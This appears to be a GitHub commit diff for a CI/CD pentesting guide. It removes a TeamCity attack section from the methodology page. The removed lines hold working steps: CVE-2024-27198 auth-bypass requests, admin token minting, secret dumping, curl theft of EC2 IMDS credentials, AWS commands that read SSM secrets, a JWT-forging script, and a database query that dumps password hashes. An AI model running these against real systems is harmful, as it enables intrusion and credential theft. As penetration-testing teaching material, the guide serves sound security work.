Skip to content

Commit e9b5f23

Browse files
committed
Add TeamCity CI/CD pentesting section
1 parent 5704b99 commit e9b5f23

3 files changed

Lines changed: 741 additions & 115 deletions

File tree

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,7 @@
2828
- [CircleCI Security](pentesting-ci-cd/circleci-security.md)
2929
- [TravisCI Security](pentesting-ci-cd/travisci-security/README.md)
3030
- [Basic TravisCI Information](pentesting-ci-cd/travisci-security/basic-travisci-information.md)
31+
- [TeamCity Security](pentesting-ci-cd/teamcity-security/README.md)
3132
- [Jenkins Security](pentesting-ci-cd/jenkins-security/README.md)
3233
- [Basic Jenkins Information](pentesting-ci-cd/jenkins-security/basic-jenkins-information.md)
3334
- [Jenkins RCE with Groovy Script](pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md)

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

Lines changed: 0 additions & 115 deletions
Original file line numberDiff line numberDiff line change
@@ -106,118 +106,6 @@ Compromising a CI/CD pipeline or stealing credentials from it can let an attacke
106106
- If a compromised package is suspected, inspect the published tarball and not only the Git repository, because the malicious loader/runtime may exist only in the published artifact.
107107
- Hunt for unexpected package-manager execution inside CI such as `npm install` instead of `npm ci`, unexpected Bun downloads/execution, or new workflow artifacts generated from transient branches.
108108

109-
## TeamCity: public CI/CD to cloud/internal pivoting
110-
111-
A **publicly exposed TeamCity** should be treated as a potential **bridge into production credentials, cloud roles, and private subnets**. A practical attack chain is:
112-
113-
1. **Fingerprint TeamCity and test unauthenticated REST access.** In vulnerable TeamCity On-Prem versions **through 2023.11.3**, the auth bypass **CVE-2024-27198** can route requests through:
114-
115-
```http
116-
GET /hax?jsp=/app/rest/server;.jsp HTTP/1.1
117-
Host: <teamcity>:8111
118-
Accept: application/json
119-
```
120-
121-
If the response returns server metadata without a session, the instance is likely exploitable.
122-
123-
2. **Mint a persistent admin API token.** After confirming the bypass, create a token for a privileged user and switch to authenticated API abuse:
124-
125-
```http
126-
POST /hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp HTTP/1.1
127-
Host: <teamcity>:8111
128-
Accept: application/json
129-
Content-Type: application/json
130-
131-
{"name":"RedTeamToken"}
132-
```
133-
134-
3. **Dump build parameters and project secrets.** TeamCity projects often store **database URLs, deploy keys, JWT secrets, SaaS tokens, and cloud credentials** in cleartext parameters:
135-
136-
```http
137-
GET /app/rest/projects/id:BackendApi/parameters HTTP/1.1
138-
Authorization: Bearer <teamcity_token>
139-
Accept: application/json
140-
```
141-
142-
4. **Execute commands on build agents.** If you can create or modify a build configuration, the build agent becomes your execution proxy. Use it to dump environment variables, read mounted files, and query local metadata/services.
143-
144-
### TeamCity build agents on EC2: steal IMDS credentials
145-
146-
If the build agent runs on **EC2**, command execution often means **instance-profile credential theft**. For **IMDSv1**:
147-
148-
```bash
149-
IMDS_ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
150-
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IMDS_ROLE"
151-
```
152-
153-
With the temporary credentials, validate **real impact** instead of stopping at discovery:
154-
155-
```bash
156-
aws s3 ls
157-
aws ssm describe-parameters
158-
aws ssm get-parameter --name /prod/jwt-secret --with-decryption
159-
aws ec2 describe-instances
160-
aws rds describe-db-instances
161-
```
162-
163-
Interesting loot after a CI/CD compromise:
164-
165-
- **S3 buckets** holding SQL dumps, build artifacts, legacy `.env` files, or static IAM keys
166-
- **SSM Parameter Store** values with production secrets and internal hostnames
167-
- **EC2 user-data** disclosing bootstrap credentials or deployment scripts
168-
- **Describe** permissions that reveal private hosts, subnets, and RDS endpoints for the next pivot
169-
170-
> [!TIP]
171-
> If you only need metadata from the instance itself, you can also inspect **EC2 user-data** and **instance profiles** from the stolen role using the AWS enumeration pages linked from the AWS section.
172-
173-
### Pivot into private services through the build agent
174-
175-
Do not treat a private subnet as a security boundary if the CI/CD agent already has legitimate reachability to it. The **build job itself** can be used as a **proxy** to enumerate and access internal HTTP services:
176-
177-
```bash
178-
for path in /health /api/v1/orders /admin /metrics /debug /internal; do
179-
curl -s -H "Authorization: Bearer $JWT" "http://internal-host:5000${path}"
180-
done
181-
```
182-
183-
This is especially useful after stealing a **shared HS256 JWT secret** from TeamCity parameters, SSM, user-data, or artifacts. Once the secret is known, **JWT claims are attacker-controlled input** even though the token is validly signed:
184-
185-
```python
186-
import jwt, time
187-
secret = 'hs256-internal-svc-do-not-share-2024'
188-
payload = {'sub': 'admin', 'role': 'admin', 'iat': int(time.time()), 'exp': int(time.time()) + 86400}
189-
print(jwt.encode(payload, secret, algorithm='HS256'))
190-
```
191-
192-
Abuse paths after JWT forgery:
193-
194-
- Access internal endpoints that only check for a valid signature or `Authorization` header
195-
- Escalate to admin-only routes when role/claim validation is weak
196-
- Turn signed claims such as `sub` into a **SQL injection** vector if they are concatenated into backend queries
197-
198-
A raw error such as `invalid input syntax for type integer` plus leaked SQL like `WHERE user_id = 'admin'` strongly suggests the JWT claim is reaching SQL unsafely.
199-
200-
### TeamCity-specific dangerous debug surface
201-
202-
If `internal.properties` enables:
203-
204-
```properties
205-
rest.debug.database.allow.query.prefixes=select
206-
```
207-
208-
an attacker with an admin token can query TeamCity's internal database via REST and dump data such as user password hashes:
209-
210-
```http
211-
GET /app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS HTTP/1.1
212-
Authorization: Bearer <teamcity_token>
213-
```
214-
215-
### Practical assessment takeaways
216-
217-
- A **TeamCity auth bypass** is rarely "just" a CI bug; it is often the **entry point** to cloud, secrets, and internal network compromise.
218-
- A **scanner hit** (for example, a Nuclei template) should be followed by **token minting, secret review, build-agent execution, IMDS checks, cloud enumeration, and private-subnet pivoting**.
219-
- Defensively, require **IMDSv2** with `HttpTokens=required`, avoid storing long-lived secrets in TeamCity parameters, and disable dangerous debug database query features.
220-
221109
## More relevant info
222110

223111
### Tools & CIS Benchmark
@@ -239,9 +127,6 @@ Check this interesting article about the top 10 CI/CD risks according to Cider:
239127

240128
## References
241129

242-
- [ProjectDiscovery: Red-Teaming Cloud Infrastructure with Neo](https://projectdiscovery.io/blog/red-teaming-cloud-infrastructure-with-neo)
243-
- [JetBrains TeamCity: Additional Critical Security Issues Affecting TeamCity On-Premises (CVE-2024-27198 and CVE-2024-27199)](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)
244-
- [AWS CLI: modify-instance-metadata-options](https://docs.aws.amazon.com/en_us/cli/latest/reference/ec2/modify-instance-metadata-options.html)
245130
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
246131
- [The npm Threat Landscape: Attack Surface and Mitigations](https://unit42.paloaltonetworks.com/monitoring-npm-supply-chain-attacks/)
247132
- [Checkmarx Security Update: April 22, 2026](https://checkmarx.com/blog/checkmarx-security-update-april-22/?p=108469)

0 commit comments

Comments
 (0)